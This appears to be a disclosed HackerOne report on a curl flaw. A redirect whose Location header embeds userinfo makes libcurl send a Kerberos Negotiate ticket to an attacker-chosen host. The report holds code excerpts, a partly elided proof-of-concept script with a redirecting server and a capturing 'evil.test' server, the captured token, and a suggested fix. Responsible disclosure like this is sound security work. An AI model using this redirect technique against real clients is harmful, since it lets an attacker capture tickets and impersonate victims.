Skip to content
Access control Disclosed report Advanced CVE-2026-86413

CVE-2026-86413: Negotiate credentials sent to redirected origin

A redirect whose Location header contains userinfo causes libcurl to treat the URL credentials as present, which bypasses the cross-host authentication guard and makes it send a Negotiate/Kerberos token to the redirected host. An attacker controlling a server the victim follows can receive a valid service ticket for a hostname of their choosing.

giant_anteater Follow

Originally disclosed on HackerOne

  • Triaged in 4 days
  • Fixed in 41 days
  • Disclosed after 41 days

Hi all,

I found a way to make libcurl send a live SPNEGO/Kerberos Authorization: Negotiate token to a host the client never intended to authenticate to, bypassing the cross-host auth restriction, when following a redirect whose Location: header embeds userinfo (http://user:[email protected]/...).

The bug

Curl_http_output_auth() decides whether to attach auth headers for the current host with:

C
// lib/http.c:874
if(data->state.creds || Curl_auth_allowed_to_host(data))
    result = output_auth_headers(data, conn, authhost, request,
                                 path_and_query, FALSE);

Curl_auth_allowed_to_host() is the intended cross-host guard — it's FALSE once you've been redirected to a different origin (unless CURLOPT_UNRESTRICTED_AUTH is set):

C
// lib/vauth/vauth.c:140-149
bool Curl_auth_allowed_to_host(struct Curl_easy *data)
{
  return Curl_auth_allowed_to_origin(data, data->state.origin);
}

bool Curl_auth_allowed_to_origin(struct Curl_easy *data,
                                 struct Curl_peer *origin)
{
  return data->set.allow_auth_to_other_hosts ||
         Curl_peer_equal(data->state.initial_origin, origin);
}

The problem is the data->state.creds || in front of it. url_set_data_creds() runs on every URL (redirects included), and only the CURLOPT_* ("OPTION") credential branch is gated by Curl_auth_allowed_to_origin() — the URL-embedded-userinfo branch right below it isn't:

C
// lib/url.c:1423-1456
static CURLcode url_set_data_creds(struct Curl_easy *data, CURLU *uh)
{
  ...
  if((CURL_EASY_STR(data, STRING_USERNAME) || ... ) &&
     Curl_auth_allowed_to_origin(data, data->state.origin)) {
    result = Curl_creds_create(..., CREDS_OPTION, &newcreds);
    ...
  }

  /* Extract credentials from the URL only if there are none OR
   * if no CURLOPT_USER was set. */
  if(!newcreds || !Curl_creds_has_user(newcreds)) {
    ...
    result = Curl_creds_merge(udecoded, pdecoded, newcreds,
                              CREDS_URL, &newcreds);
    ...
  }

So a redirect to http://user:[email protected]/ sets data->state.creds non-NULL with no origin check at all, which then short-circuits the guard in Curl_http_output_auth(). For Negotiate this is worse than it looks: the "credentials" here are never actually used — GSSAPI/SSPI mints the token from the client's ambient Kerberos TGT, not from the URL's user/pass string. So any junk userinfo in a redirect Location, even nonsense the attacker doesn't need to know, is enough to unlock sending a real Kerberos service ticket for HTTP/evil.host to the attacker.

Sink: Curl_output_negotiate(), lib/http_negotiate.c:219.

Where it came from

Introduced by 8f71d0fde51 — "creds: hold credentials" (2026-05-11). Before that commit, the guard was:

C
/* To prevent the user+password to get sent to other than the original host
   due to a location-follow */
if(Curl_auth_allowed_to_host(data) || conn->bits.netrc)

That commit dropped this comment along with the strict check, replacing it with the data->state.creds || bypass, while at the same time introducing url_set_data_creds()'s asymmetric OPTION-vs-URL gating. Neither half is a problem alone; together they reopen the exact leak the deleted comment was there to prevent. Still present at current main (38703fe2, 2026-09-02).

PoC

Two peers: orig.test issues the redirect, evil.test records whatever it receives. Exploit variant puts userinfo in the redirect; control variant doesn't.

Shell
# Repro: libcurl sends an Authorization: Negotiate (SPNEGO/Kerberos) token to an
# attacker-controlled host after a redirect whose Location carries userinfo.
MODE="$1"   # "exploit" or "control"
...
cat > "$KRBDIR/vf_peers.py" <<'PY'
import socket, sys, threading, os, time
MODE=sys.argv[1]
ORIG=int(os.environ["ORIG_PORT"]); EVIL=int(os.environ["EVIL_PORT"])
OUT=os.environ["EVIL_OUT"]
def serve(port,handler):
    s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
    s.bind(("127.0.0.1",port)); s.listen(8)
    while True:
        c,_=s.accept()
        try: handler(c)
        except Exception: pass
        c.close()
def orig(c):
    c.recv(65536)
    if MODE=="exploit":
        loc="http://user:[email protected]:%d/secret"%EVIL   # userinfo -> triggers bug
    else:
        loc="http://evil.test:%d/secret"%EVIL             # no userinfo -> control
    b=b"redir"
    c.sendall(("HTTP/1.1 302 Found\r\nLocation: %s\r\nContent-Length: %d\r\nConnection: close\r\n\r\n"%(loc,len(b))).encode()+b)
def evil(c):
    data=c.recv(65536)
    with open(OUT,"ab") as f: f.write(b"EVIL_RECEIVED:\n"+data)
    c.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nok")
threading.Thread(target=serve,args=(ORIG,orig),daemon=True).start()
threading.Thread(target=serve,args=(EVIL,evil),daemon=True).start()
time.sleep(15)
PY
...
# exercise the shipped libcurl exactly once: follow the redirect with Negotiate on
timeout 60 curl -sS --negotiate -u : -L "http://orig.test:${ORIG_PORT}/start" -o /dev/null || true
...
cat "$EVIL_OUT"   # surface exactly what the attacker host received

Run against a curl/8.21.0-DEV build with a Kerberos TGT for [email protected], evil.test received:

EVIL_RECEIVED:
GET /secret HTTP/1.1
Host: evil.test:18081
Authorization: Negotiate YIIC9wYGKwYBBQUCoIIC6zCCAuegDTALBgkqhkiG9xIBAgKiggLUBIIC0GCCAswGCSqGSIb3EgECAgEAboICuzCCAregAwIBBaEDAgEOogcDBQAgAAAAo4IBzmGCAcowggHGoAMCAQWhDRsLRVhBTVBMRS5DT02iHDAaoAMCAQOhEzARGwRIVFRQGwlldmlsLnRlc3SjggGQMIIBjKADAgESoQMCAQGiggF+...(truncated)
User-Agent: curl/8.21.0-DEV
Accept: */*

A full, valid GSSAPI/Kerberos service ticket for HTTP/evil.test, minted from the client's real TGT and handed to a server the client never asked to authenticate to. The control run (no userinfo in the redirect) sends no Authorization header at all — same code path, same preconditions, the only variable is the presence of userinfo in the Location:.

Suggested direction

Gate the URL-credential branch in url_set_data_creds() (lib/url.c:1454) with the same Curl_auth_allowed_to_origin() check the OPTION branch already has, or explicitly strip userinfo from redirect targets before they reach credential extraction unless CURLOPT_UNRESTRICTED_AUTH is set.

Cheers, Josh

Impact

An attacker who runs any HTTP server a victim is willing to curl -L (redirects on) can get the victim's SPNEGO/Kerberos ticket for an arbitrary hostname of the attacker's choosing sent to a server the attacker controls, whenever the victim has --negotiate/CURLAUTH_NEGOTIATE (or CURLAUTH_ANY) on and a live TGT — a very common combination in enterprise SSO setups. That ticket can be captured/relayed to impersonate the victim elsewhere.

Preconditions: CURLOPT_FOLLOWLOCATION, CURLAUTH_NEGOTIATE/CURLAUTH_ANY, SPNEGO support built in, CURLOPT_DISALLOW_USERNAME_IN_URL off (default), and an existing Kerberos/SSPI session.

The original report as published on HackerOne, by giant_anteater. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the URL-embedded userinfo branch in url_set_data_creds() sets data->state.creds without the cross-origin check, and the data->state.creds condition in Curl_http_output_auth() then short-circuits the intended host guard.

Impact

An attacker who runs any HTTP server a victim follows with redirects can receive the victim's Kerberos service ticket for an arbitrary hostname and may relay it to impersonate the victim elsewhere.

What the attacker needed

Redirect following enabled; Negotiate or ANY auth enabled; SPNEGO support built in; username-in-URL restriction off (default)

The fix

The URL-credential branch in url_set_data_creds() should be gated with the same cross-origin check as the OPTION branch, or userinfo should be stripped from redirect targets unless unrestricted auth is enabled.

How it was found

  1. Run a server that responds with a redirect whose Location header includes userinfo pointing at an attacker host.
  2. Run a second server on the attacker host that records incoming requests.
  3. Invoke curl with Negotiate authentication and redirect following against the first server.
  4. Observe the attacker server receiving an Authorization: Negotiate header.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a program follows a redirect to another website, it is normally not supposed to send your login credentials there. In this case, putting a fake username and password in the redirect address tricked the program into sending a Kerberos login token, which is a proof of identity used in corporate networks, to the attacker's server.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by giant_anteater

View all

93 more disclosed reports, best first.

More from curl

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.